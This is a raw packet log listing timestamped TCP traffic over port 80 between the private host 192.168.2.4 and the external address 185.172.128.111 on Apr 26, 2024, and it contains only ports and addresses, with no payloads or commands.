Apr 26, 2024 09:41:13.086349010 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.086365938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.086381912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.086409092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.086431026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.133579969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.133661985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.133681059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.133696079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.133727074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.133749008 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.133786917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.133821011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.133865118 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.133883953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.133900881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.133919954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.133950949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.134160042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.134203911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.134217978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.134257078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.134277105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.134293079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.134319067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.134329081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.134577036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.134624958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.134644032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.134687901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.134742975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.134788990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.134948969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.134995937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.135029078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.135075092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.135107040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.135149956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.135157108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.135170937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.135185003 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.135206938 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.137659073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.137739897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.137788057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.137820005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.137835979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.137860060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.137885094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.140163898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.140408993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.140461922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.140480995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.140496016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.140525103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.140539885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.140599966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.140640974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.140688896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.140707016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.140749931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.140765905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.140808105 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.142159939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.142193079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.142204046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.142229080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.142277002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.142292023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.142313957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.142327070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.142400026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.142477036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.142525911 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.142539024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.142554998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.142575979 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.142597914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.142961025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.143160105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.143209934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.143228054 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.143270969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.143285990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.143322945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.144454956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.144532919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.144584894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.144608974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.144623995 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.144649982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.144671917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.147120953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147341013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147391081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.147464991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147509098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.147522926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147563934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.147644997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147691965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.147725105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147773981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.147792101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147808075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147831917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.147840023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.147855043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147919893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.147968054 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.147989035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.148005009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.148031950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.148049116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.150244951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.150348902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.150367022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.150382996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.150394917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.150409937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.150419950 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.150444984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.150490046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.150525093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.150538921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.150580883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.150666952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.150708914 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.152935028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.152993917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.153043032 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.153153896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.153177977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.153201103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.153225899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.153271914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.153318882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.153436899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.153497934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.153515100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.153537989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.153563023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.184148073 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.424812078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.530663013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.530702114 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.530734062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.530797958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.530814886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.530833006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.530873060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.530934095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.531235933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.531286001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.531306982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.531323910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.531351089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.531380892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.532068014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.532181025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.532231092 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.532267094 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.532309055 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.532326937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.532370090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.582734108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.582767010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.582808018 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.582825899 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.582842112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.582854986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.582866907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.582911968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.582971096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583003998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583015919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583044052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583080053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583096981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583132029 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583144903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583352089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583394051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583412886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583450079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583461046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583473921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583493948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583515882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583740950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583792925 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583811998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583851099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583863974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583895922 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.583909035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.583935976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.584027052 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.584074974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.584083080 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.584127903 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.584196091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.584212065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.584239006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.584249973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.584323883 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.584378004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.584394932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.584417105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.584435940 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.584453106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.584465981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.584506989 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635282993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635303974 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635319948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635375977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635410070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635449886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635449886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635464907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635483027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635519028 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635540009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635548115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635561943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635586023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635601997 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635802984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635849953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635867119 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635884047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635904074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.635912895 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635921001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.635942936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636281967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636321068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636337042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636374950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636383057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636396885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636413097 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636434078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636555910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636584997 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636596918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636620998 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636650085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636666059 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636691093 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636703968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636837959 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636881113 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636913061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.636955023 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.636971951 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637017012 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637032986 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637072086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637238026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637255907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637283087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637300968 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637319088 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637335062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637361050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637372017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637655973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637696981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637717009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637748957 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637761116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637774944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.637793064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637809992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.637988091 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638031960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638050079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638082027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638092995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638120890 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638130903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638170958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638288975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638329983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638346910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638386011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638418913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638436079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638462067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638473034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638562918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638600111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638617039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638652086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:13.638659000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:13.638693094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:14.510410070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:14.510410070 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:14.750632048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:14.750653028 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:15.010647058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:15.010776043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:16.327172995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:16.567343950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:16.683209896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:16.683232069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:16.683243990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:16.683357000 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:16.686611891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:16.931962967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:17.041142941 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:17.041198015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:17.041306973 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:17.041342020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:17.082027912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:17.082107067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:17.322109938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:17.322123051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:17.598110914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:17.598170042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:17.604909897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:17.604960918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:17.845041037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:17.845055103 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:18.127449036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:18.127520084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:18.138555050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:18.138654947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:18.379061937 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:18.379074097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:18.379116058 CEST	80	49730	185.172.128.111	192.168.2.4
